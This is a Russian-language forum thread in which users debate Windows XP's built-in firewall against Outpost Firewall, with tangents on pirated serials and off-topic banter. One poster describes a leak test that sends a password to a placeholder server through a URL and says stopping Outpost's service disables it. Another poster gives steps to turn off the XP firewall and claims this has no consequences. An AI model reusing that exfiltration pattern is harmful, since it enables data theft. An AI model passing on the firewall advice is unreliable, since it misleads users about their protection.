Друзя, помогите советом, где можно скачать хорошую защиту для своего Компютера, что бы ни кто не мог туда залесть, я имею в виду Firewall
DANKE SCHÖN! :-)))

Каждый фойервол настолько хорош, насколько хорош человек его настраивающий. Для какой защиты ты лучше подходишь?
Например "что бы ни кто не мог туда залесть" через сеть можно выключить сеть.

чтобы туда никто не мог залезть через сеть - самое лучшее внешний рутер , но достаточно и виндовсного фоервола, если он включ╦н, с остальных направлений поможет только железный ящик с замком.

Подобных программ много, я могу посоветовать установить Outpost Firewall, который уже давно отлично себя зарекомендовал. Утягивай его с http://www.agnitum.com/products/outpost/(анг. версия), http://www.agnitum.ru/products/outpost/index.php (русская)
Есть еще и немецкая версия-))

loool-))
Windows XP содержит в себе встроенный фаервол, который запросто может заблокировать соединение любимой игры, а также банально тормозить работу системы и передачу данных по сети.
Последствия если отключить файер:
Никаких. Вообще никаких. Это не фаер, это просто отстой, который делает что хочет направо и налево, лишь бы любимым форточкам было тепло и сухо.
Лучшее решение: Отключение встроенного фаервола-)) Воспользоваться сторонними брандмауэрами (файерволами), см. пост выше-))
RTFM:
1) Start -> Administrative Tools -> Services;
2) Правый клик на сервисе Internet Connection Firewall (ICF)/Internet Connection Sharing (ICS) -> Properties;
3) В поле Startup type поставь Disabled.
К тому же всякие Remote Assistance (удаленная помощь) и Remote Desktop (удаленный рабочий стол) следует отключить, хотя бы из соображений безопасности.
З.Ы. Прочитал, внес изменения в систему, перезагрузился!
Удачи-))

Спасибо Други!

>Windows XP содержит в себе встроенный фаервол, который запросто может заблокировать соединение любимой игры, а также банально тормозить работу системы и передачу данных по сети.
это зависит исключительно от формы рук настройщика, как впрочем и слюбым другим софтом. знаю людей умудрившихся схватить бластера с оутпостом, а также видел червя отключающего оутпост так что юзер об этом даже не знал

Девушка, я придержываюсь мнения генди. Никакой сторонний файерволл в виде ПО и нафиг не нужен . Лучшее решение (для Windows естественно) - ходить в сеть через рутер . А встроенный "родной" брандмауэр - личное дело каждого. Насчет Remote Assistance и Remote Desktop согласна с Вами . Ну и конечно же мое личное мнение - не пользоваться IE и не искать приключений в виде кряков ... ну и рессурсов "сомнительного содержания"

Эту подделку под названием встроенный персональный фаервол можно юзать только в Win95. Чтобы не было обидно за систему...
Что касается нормального брандмауэра, то об Outpost можно говорить часами.

Гы.

встроенный фоервол появился только в ХП, так что в вин95 его физически невозможно использовать, а насч╦т Оутпост - покупать его смысла не имеет , если же ломать прид╦тся смириться с тем что в самом ответственном месте сидит код написанный крякером васей и не известно не имеет ли этот код побочных действий.
для информации - нормального персонального фоервола не существует и существовать не может - троянец попавший в систему может обмануть или отключить любой, если такое в коде троянца предусмотрено, нападение снаружи остановит любой. поэтому искать навороченые фоерволы тоже смысла не имеет

Девушка, если вы не заметили, я не давала комментов по поводу роутера Чел спрашивал про персональный файервол и каким лучше было бы воспользоваться-))

Здесь я полностью поддерживаю. Одним из самых слабых мест операционки -- многострадальный осел. Входящий в состав Internet Explorer 6.0 со своими обязанностями справляется очень плохо. Браузер он не самый удобный, а уж с безопасностью у него просто беда. Чуть ли не каждую неделю в Сети появлялось описание новой критической ошибки, одна лучше другой-((. Список багов осла в несколько раз больше, чем для самой ХР. Но, заменив IE, например, на Оперу, можно себя обезопасить от множества напастей, хотя и у Оперы своих проблем хватает. Та же история и с Outlook-ом, ведь при работе с html письмами Outlook полностью повторяет поведение ослика. Так что The BAT! -- лучший выбор. Но это опять же оффтоп и относится скорее к вопросам безопасности, чем к выбору хорошего брандмауэра

Это я утрирую

Тут вы кажется, противоречите сами себе-)) А как же непоколебимая уверенность "если руки с плеч растут" или " все завист исключительно от формы рук настройщика".. Настройки файера еще никто не отменял-))

>Тут вы кажется, противоречите сами себе-)) А как же непоколебимая уверенность "если руки с плеч растут" или " все завист исключительно от формы рук настройщика".. Настройки файера еще никто не отменял-))
при правильной настройке, или даже без всякой настройки, пока не поэксперементировали ни один персональный фоервол ничего в систему не пропустит, если же в систему попал троянец, он сам фоервол под себя настроит, прич╦м любой.

А почему вы решили что к нему в систему уже попал троян? Автор темы разве об это говорил? Что могу сказать, антивирусник тоже никто не отменял-))

Девушка, если вы не заметили, я не давала комментов по поводу роутера Чел спрашивал про персональный файервол и каким лучше было бы воспользоваться-))
Если Вы не заметили , чел спрашивал не про персональный Firewall а просто про Firewall . Я и ответила что ИМХО в качестве ПО не нужен никакой , а в качестве "наружного брандмауэра" рутэр самое то .
Хао, я все сказала

Я тоже все сказала-))

>А почему вы решили что к нему в систему уже попал троян? Автор темы разве об это говорил? Что могу сказать, антивирусник тоже никто не отменял-))
если ещ╦ не попал, то тем более виндовсного хватит,
а антивирусник это дело вкуса - есть трояны отключающие антивирус а есть даже его инсталлирующие. встречались даже черви устанавливавшие заплатки от бластера

Читай пост 5. Потом все посты еще раз по кругу если нужно..-))

Если исходить из расчета "стопроцентной защиты не существует" -- то, может, ну его нафиг всю эту защиту, а?.. тем более что "информация должна быть свободной!", и та что хранится на твоем компе -- не исключение.. (шутка). А если исходить из того что "Интернет - потенциальный источник заразы" -- может вообще в сетке не появлятся безопаснее будет?
Эх.. окрой новую тему типа "как троян отключил защиту и поселился на моей тачке", или "как червь залатал бластера, а я этого не хотел", или "Генераторы зла - или как поселить панику в Интеренете" -- и я с удовольствием пообщаюсь с тобой на тему вирусов, антивирусников и о способах выживания вирусов...

>Читай пост 5. Потом все посты еще раз по кругу если нужно..-))
видимо посылать к уже отвеченному посту является правилом хорошего тона, ну тогда я задам вопрос который так и не был нормально отвечен:
какие преимещества оутпоста в плане никого не пускать внутрь перед обычным виндовсным фоерволом, только не общими фразами типа "отстой" пожалуйста

Видимо пережевывать по кругу одни и те же вопросы тоже?

Вот несколько преимуществ Outposta:
1. Модуль "Anti-Spyware" (программы-шпионы не смогут устанавливаться, активироваться или передавать информацию с компьютера)
2. Функция ╚Блокировка личных данных╩ позволяет запретить передачу персональной информации.
3. Монитор ╚Сетевая активность╩ отслеживает каждое соединение, установленное между вашим компьютером и сетью и сразу же предупреждает о потенциально опасных соединениях.
4. Модуль ╚Детектор атак╩ автоматически блокирует попытки зондирования сети, атаки и другие попытки получения удаленного доступа к компьютеру пользователя, используя обновляемую базу сигнатур вторжений.
5. Контроль за взаимодействием приложений ( контролирует взаимодействие программ на компьютере, блокируя несанкционированные попытки приложений отослать частные данные в сеть, используя права доступа, данные другому приложению).
6. Модуль Blockpost (блокирует все виды программ-шпионов и распространителей рекламы. Кроме того, он позволяет создать Зону Недоверия, куда Вы вводите адреса, которые хотите полностью заблокировать).
7. Модуль Super Stealth (ограждает от любых атак на основе IP, сканирований, переполнений, запросов на соединения и всего входящего трафика от Ваших соседей по локальной сети, основанного на IP (включая TCP, HTTP, FTP)).
На все возникшие "почему" ты можешь найти не мало весомых "потому_что" на http://agnitum.ru/
Ты лучше приведи преимущества встроенного файера мелкомягких к Outpostu?

мы же вроде говорили о входящих соединениях? а тут почти вс╦ о защите от спайвер.
все пункты с 1 по 6 полностью бесполезны если шпионская программа сначала остановит сервис оутпоста , не говоря о других способах
это так называемая кажущаяся безопасность
пункт же 7 забрасывает юзера массой бесполезных предупреждений , т.к. любой пинг принимается за сканирование,
бесполезных потому что для рутера или даже виндовсного фоервола действия описанные в этом пункте ниикакой угрозы не несут.
а от доса и он не поможет

> пункт же 7 забрасывает юзера массой бесполезных предупреждений
- Пункт 4. тоже, только панику разводит.

цена :D

я даже не сомневаюсь что вы, безусловно, умнее производителей брандмауэров-))

расскажите, что вы знаете о переполнении буфера?

P.S. вы кажется, еще не приводили примеров преимуществ втроенного файервола, ну да ладно...
Вопрос всем: Если троян -- шпионская программа, а шпионская программа -- спайвер, то троян, безусловно спайвер? (загадка-шутка)
- Да
- Нет
- Затрудняюсь ответить
- а вы про что?

А под свои нужды настраивать не пробовали? ну чтоб бесполезные предупреждения жить не мешали...
У меня он никакой паники не разводит-))

Нехватает 1го пункта - этот опрос с@с&т
ЗЫ: троян -- не обязательно шпионская программа.
http://ru.wikipedia.org/wiki/%D0%A2%D1%80%D0%BE%D1%8F%D0%BD%D1%81%D0%BA%D0%B8%D0...

Я этой поделкой не пользуюсь, только тестировал. Ничего выдающегося, за что стоит платить деньги скажем прямо не заметил.

>Нехватает 1го пункта - этот опрос с@с&т
злой ты ... уйд╦т она от нас!

Да я ужо уходил, опрос улыбнул не смог пройти мимо =D

>я даже не сомневаюсь что вы, безусловно, умнее производителей брандмауэров-))
не думаю , по наведению паники им равных нет
>вы кажется, еще не приводили примеров преимуществ втроенного файервола, ну да ладно...
преимущество? бесплатность и молчаливость .никого не пугает а молча делает работу

> не думаю , по наведению паники им равных нет
Ну как же, как же, Касперский их сто лет как переплюнул. Им до него далеко.

>Ну как же, как же, Касперский их сто лет как переплюнул. Им до него далеко
за это вагант его и любит

Не слушай "дядинек" , Outpost рулит, адназначна.

Только вот многим , даже очень многим, объяснение Касперыча нравиццо больше . Оно больше соответствует чаяниям широких масс .
http://www.viruslist.com/ru/glossary?glossid=152528302

Outpost-у никакой кряк не нужен, к нему нужен серийник (как и к большенству софта), так что рассказы о левом софте с кряками, в которых находятся трояны это бред.
Кряки в основном для игр, да и то в последнее время можно обходиться без них.

>Outpost-у никакой кряк не нужен, к нему нужен серийник (как и к большенству софта), так что рассказы о левом софте с кряками, в которых находятся трояны это бред.
Кряки в основном для игр, да и то в последнее время можно обходиться без них.
замечу только что в пиратских версиях серийник давно забанен, что вынуждает пользоваться старыми версиями.

Что ты имеешь ввиду под понятием "пиратская версия"? К примеру, софт качается с официального сайта, а потом уже с (неофициального) бер╦тся нормальный серийник.

и при первом апдейте этот серийник банится.
ну не нужен отпост в домашних условиях , как и всякие ...internet security , только зря ресурсы жр╦т.

Outpost действительно не нужен Но если всёже есть необходимость в фаерволе, то можно найти бесплатную альтернативу, причём на голову выше раскрученного Outpost-а.

Незнаю, Outpost постоянно обновляется, пока с этим проблем нет.

Я ставлю то, что мне нравится, а платное оно или бесплатное мне вс╦равно.

с чувством юмора как?

MxL=

И в добавок ты веришь в то, что виндовс файервол -- лучшее решение? Заметь, я не говорю что именно Outpost и ничего кроме него. Цитирую еще раз один из моих постов выше:
Cinelerra


Потестируй еще другие файеры, других производителей и разных уровней-)) так называемые firewall`ы цепного уровня, программного уровня или архитектуру программ типа firewall - kernel proxy (эта архитектура имеет как программные, так и аппаратные реализации). Следует также сказать, что не существует общепринятого стандарта реализации всех функций по защите, и каждая фирма делает это по-своему. В моем случае, я выбрала Outpost и его рекомендовала автору темы. Ты, конечно, можешь дальше продолжать пользоваться Windows Firewall. Это только вопрос выбора. Можно так же установить несколько похожих программ.. Есть, кроме этого, некоторые напасти, от которых ни один firewall в принципе не может защитить.
Например, файрвол бессилен, если атака выполняется не через него. Ошибкой многих пользователей является установка дорогих firewall`ов, но полный ignor многих других дыр, от которых невозможно защититься с помощью одной программы. В идеале, файрвол должен быть частью системы безопасности, а не единственным спасением. Я не говорила что нужно ставить только стенку и мнить что ты в полной безопасности-))
В итоге:
FireWall -- довольно мощная штука, позволяющая сильно уменьшить вероятность проникновения на твой компьютер. НО. Эта вероятность станет близкой к нулю, если соблюсти простые правила:
* нормально настроить программу соответственно общей политике безопасности и необходимости ( задаваемые в нем правила должны соответствовать общей защите компьютера)
* использовать комплекс мер по безопасности, а не только firewall ну и т.д.
P.S.

уверена, на твоей тачке все ПО лицензионное aka купленно за денюшку?

Из интервью с Microsoft:
Интервьюер: "Насколько бдительно программисты (Microsoft, мое примечание) подошли к проблеме безопасности, зная, что с каждым годом дыр становится все больше? Какие средства были включены в OS (персональный фаервол и т.п.)? Кто должен отвечать за проблемы из-за атак на "дыры", которые допустили разработчики?"
Ответ MS: "У нас отличные программисты, и они очень ответственно относятся к созданию защищенных программных продуктов. Именно поэтому международная статистика показывает, что с каждым годом уязвимостей в наших продуктах становится меньше, а не больше. Например, уязвимостей в Windows Server 2003 намного меньше, чем в ХР или в Windows 2000. Кроме того, ошибок в Windows гораздо меньше, чем, например, в многочисленных клонах Linux v достаточно сравнить цифры, приведенные на международно признанных сайтах. За взломы отвечают взломщики, так же, как за воровство из квартиры отвечают воры, а не производители дверей или замков. Пользуйтесь более совершенными продуктами. А уязвимости появляются не только и не столько из-за разработчиков, 95% проблем со взломами связаны с неправильной настройкой систем v об этом много раз писали в международных независимых исследованиях."
Довольно интересно отнеслись разрабодчики к твоей проблеме... Нда.. халявный сыр только в мышеловке..

По поводу серийника. Вчера только обновила Outpost -- серийник работает. Что касается:

В Outpost апдейт -- значит новая версия. Новая версия, новый серийник (а где ты берешь серийники это уже другая история). Исходя из этого -- серийник банецо не может-))

Девушка,я не хочу вам ничего доказывать,но насч╦т дополнительной стены на компе вы ошибаетесь.

Апдейт это апдейт, новая версия это новая версия, так же как в антивире.

Если ты имеешь ввиду рутер, то это многих не устраивает, дело не в закрытых портах

Банится ещ╦ как. Правильный нужно ставить.

Маленькое уточнение: ошибаюсь в том, нужен файервол на компе или нет? Отвечу именно на этот вопрос:
Если ты, до сих пор думаешь, что вопросы сетевой безопасности являются скорее проявлением "высоких технологий", нежели развитием вопросов безопасности в целом, то сильно ошибаешься. С самого начала имела место борьба средств защиты и нападения. Иначе бы никто не разрабатывал системы защиты. Не будем рассматривать тему "как выкопать ров вокруг своего жилища" (шутка).
Сегодня интернет превращается из источника информации в "виртуальное сообщество" и, как любое сообщество, страдает от людей, которые хотят получить чужую ценную информацию незаконным путем для собственной выгоды. В основном это довольно грамотные люди, которые отлично разбираются в сетевой безопасности, в протоколах связи и психологии человека (что позволяет им обманывать людей, иногда даже не прибегая к техническим изыскам). Поскольку даже деньги понемногу превращаются из бумажек в "информацию о бумажках" (вспомни хотя бы WebMoney или Яндекс.Деньги), то масштаб бедствия действительно огромный. Существует также другая сторона проблемы. Есть так же идиоты в некотором роде даже опаснее грамотных "воров информации". Дело в том, что если ты не обладаешь информацией, которая представляет большую ценность, то, по логике вещей, тебе не нужно опасаться, что ее украдут. Однако здесь "на помощь" приходят те самые "идиоты", которые готовы привести твой компьютер в нерабочее состояние "просто так".
Ну вот, мы понемногу вроде бы приходим к пониманию задач, выполняемых файрволами. А нужен ли он вам или нет, решайте сами-) Я свой выбор сделала-))

> ты веришь в то, что виндовс файервол -- лучшее решение?
- Знаешь, я и им не пользуюсь. Но люди чьему мнению я доверяю, считают что обычному юзеру его вполне достаточно.
> Потестируй еще другие файеры, других производителей и разных уровней
- Я тестировал много стенок, тебя интересуют выводы или это было вступление к ликбезу?
> уверена, на твоей тачке все ПО лицензионное aka купленно за денюшку?
- Ты не ошиблась.

Outpost и К" и есть дополнительные стены.Вам та Светик я уже давал эное количесто ссылок,где можно почитать о безполезности Deskop Firewall ,но вы похоже не читали .
Это вам Ж обоим:http://www.chip.de/c1_forum/thread.html?bwthreadid=972298

> Если ты имеешь ввиду рутер, то это многих не устраивает, дело не в закрытых портах
- Это верно. "Разруха не в клозетах, а в головах"(с)

Помнишь старую ветку, где я писала про Firewall и что мне от него нужно, больше спорить и что-то доказывать не собираюсь.

Меня интересует вердикт на тему "Windows Firewall или сторонняя альтернатива "защитников"". Допускаю, что действительно тестил пару-тройку сторонних стенок, НО исходя из:

то: ты мне ответа дать не можешь, так как ты в данном случае "доверяешь мнению", а не изходишь из собственного опыта..
Так как просто не верится, что после тестов, ты остаешься доволен работой виндовской стенкой-)) Если это так, то почему ты не пользуешь именно ее?

Натурально. Пережевывание темы считаю уже бессмысленным и заканчиваю с вами этот дискусс-)) Думаю, я все сказала, и даже больше.. дальше -- без меня-)) Всем спасибо!

Ну естесвенно..У вас есть теперь время почитать о бесполезности продукта спора.

Переспим?

Когда? Во сколько? У меня или у вас?

>subj.

С переездом! Перекурим?

У меня последняя. Места знать надо )))

на всякий пожарный: когда появится желание опять зафлеймить какую-либо ветку в тематическом форуме - рекомендую подумать трижды, ибо раздача слонов может произойти очень быстро.
твоя моя понимай..?

Ахтунг ???

Брандмауэр Windows в ХР отличная вещь. Но он хорошо справляется со своими задачами, пока трой не проник в систему. А если проник так только аутпостом и тормозил засланца.
Что лучше... Outpost Firewall поначалу задаёт кучу глупых вопросов, которые ламера скажем так, ставят в тупик... он не знает коко пустить кого нет, какие запросы мона, какме нет. А встроенный--ничего не спрашивает, а сразу делает свою работу. Минус-не гибкая настройка.
А что касается "любой трой убить может" -так для этого Внутренняя зашита и пароль на настройки. Ну и антивирь.
+ у Outpost'a есть такие фичи как банерорезка, фильтр емэил, антиспай и т.д.

специально ради тебя поставил оутпост (уже сн╦с), пров╦л два теста
1. запуск команды типа
http://myserver/data.php?pass=abs
пароль abs благополучно уш╦л на сервер - оутпост даже не заметил
2.отключение сервиса outpost
фоерволл молча исчез, дорога в инет открыта (запустил неавторизованную прогу)
вывод: все пункты на сайте агнитум полная туфта,

>А что касается "любой трой убить может" -так для этого Внутренняя зашита и пароль на настройки. Ну и антивирь.
сервис убивается без всяких паролей, без сервиса он никому не нужен
>Ну и антивирь.
если антивир остановил трояна, то оутпост не нужен, если антивир не смог его остановить - троян убил оутпост. так лучше?
а баннерорезка у меня и в бровзере есть, погибче оутпостовской

Это точно, он даже сообщает какие dll-ки хотят переписаться. Как незнающему человеку на это реагировать? Итог - паника и нах он нужен, виндовсовского достаточно! Гы

Ты какую версию тестил?
<<<<<<<

Никакой сторонний файерволл в виде ПО и нафиг не нужен .
-------
Ничего, связанного с защитой и секретностью, от дяди билли лучше не иметь. А иметь - сторонеее, серьезное, желательно с открытым кодом. Бо, вынь это тебе не Дебиан....
Насчет Remote Assistance
-------
Согласен.
и Remote Desktop согласна с Вами .
-------
Увы, штука юзабилетная... правда нужны хорошо приделанные руки, чтобы снаружи ничего не сломали...
не пользоваться IE
-------
Ну с этим, пользуя поделку дяди билли, сложно - бог знает когда и зачем он его пользует для внутренних нужд... Вот сделать его дефолтным браузером и зарезать выход в инет на файрволе - самое то...

Я так поняла ты команду сам запустил? Дай пожалуйста ссылку на сайт, где можно поймать виря, который бы оключил мой Outpost. Или мне нужно его скачать и установить?

я тестил aofp40b964_6926, только троян написанный мной дурным не будет и в процессманагер не полезет, он знает что службы имеют высший приоритет, убивается оутпост в службах и очень быстро

В принципе можно. Но! Если Outpost Firewall уже _запущен_ то...
<<<<<

>Я так поняла ты команду сам запустил? Дай пожалуйста ссылку на сайт, где можно поймать виря, который бы оключил мой Outpost. Или мне нужно его скачать и установить?
сам запустил, я так понимаю что троянца и антивир остановит, до оутпоста дело не дойд╦т, а вот абсолютно легальная прога вполне может отправлять данные на сервер через бровзер, например если найд╦т "неправильный" ключ.
кстати идея в блокировать дефолтный бровзер фоерволом довольно неплохая, пока не запустишь команду типа
firefox http://server........,

А если запретить запуск браузера с параметрами? или запрашивать (что б вручную фильтровать)?

О! Ветку уже поближе к народу переместили, гуд

В Компьютер & Co нельзя создавать темы типа "Антивирь", "Фаервол", "Браузер", "Вынь"... всё равно в курилку уйдут

> ты остаешься доволен работой виндовской стенкой-)) Если это так, то почему ты не пользуешь именно ее?
- Нет такой возможности и необходимости. Венда у меня тоже есть, ХР один из первых билдов, в очень урезанном состоянии около 400мб, живет на разделе в 1,2гига, никаких СП1,2, само-собой нет.

Ты имеешь ввиду уязвимость ShellExecute под Windows 2000 и XP? Так это ещё в версии 2.1 решено было.
http://www.agnitum.ru/products/outpost/history.php

А зачем она тебе вообще нужна в таком состоянии? Там есть то, чего нет в линуксе или в ч╦м прикол?

http://www.ccsoftware.ca/8signs/download.cfm ?

>А если запретить запуск браузера с параметрами? или запрашивать (что б вручную фильтровать)?
это возможно? покажи где

>Ты имеешь ввиду уязвимость ShellExecute под Windows 2000 и XP? Так это ещ╦ в версии 2.1 решено было.
я тоже в прошлый раз поверил, запуск из коммандной строки это и есть ShellExecute, как видишь проходит без проблем

я же говорю, об Outpost можно говорить часами-))))

Параметры-->Приложения-->Anti-Leak

Для запуска некотрых тулзов коих под линухом нет. Если вкратце, флешеры, ковыряние телефонов.

Вот не поверишь много зофта стоит на компе, и тот кому я закрыла выход в инет, его не имеет, так что никто никуда данные не шл╦т, и вс╦ работает как надо, тоесть я уверена что не слетит ключ на 100% С виндовсовким такое не катит, просто уже проверено.

Вы хотите поговорить о других? Например? ViPNet? А может... Filseclab Personal Firewall? или AGAVA Firewall? А как начёт AtGuard?

Нет, только об Outpost-)) ИМХО лучше него еще не придумали-))
хотя я в этой теме уже наговорилась..

Это разве наговорила? Вагантычь на таких темах по 200 постов на гора выда╦т.

Дай ответ на этот вопрос, а то самой можно запустить что угодно. Только кто это сам себе будет ставить... , помню было в курилке про халявный украинский инет, качаешь файл, запускаешь и от винды почти нечего не остаётся

??? - если для меня - у меня внешний, аппаратный.
Что до написанных условий - то, что под линком им не удовлетворяет, хотя, возможно, работает...

наговорилась.. Не.. ВагантычЪ может и генератор постов, а в моем случае -- если по 200 постов на гора -- то я функционирую только как матогенератор..

Пипл, кто еще посмеяцо? -- это надо перечитать! http://webox.kiev.ua/?id=0&url=http%3A%2F%2Fforen.germany.ru%2Fsmoke%2Ff%2F63733...
Спасибо тебе swetusik! извини, не удержалась... пусть народ тожа расслабицо-))))))

Какое неуважение к модератору...

> 1. запуск команды типа http://myserver/data.php?pass=abs
А чё в этой ссылке такого-то?

девачко !!! На ЛОРe твоя сцыла не дествует ... чего и следовало ожидать , так шо можешь забрать её вместесабой в биареактор .
А ты на удаве её не пробовал ??? Может там все на литературном русском переиначиццо ?

всм, в курилке предложить сделать перекур форумчанам, или где?

Детачко!!! ЛОР тебе не поможет.. тут другой врач нужен.. и

Это ты кому сказала?
p.s.

Да нет.. Хорошисту предложила переспать.. а игорю всего перекурить

Хороший секс это такой секс, после которого даже соседи выходят покурить!(с)

эээ... хорошист - сосед игоря ???

Cinelerra:

Alexden:

Значит нужно было наоборот? Хорошисту перекурить предложить, а форумчанам переспать? Не.. Да и Игорь тут при чем?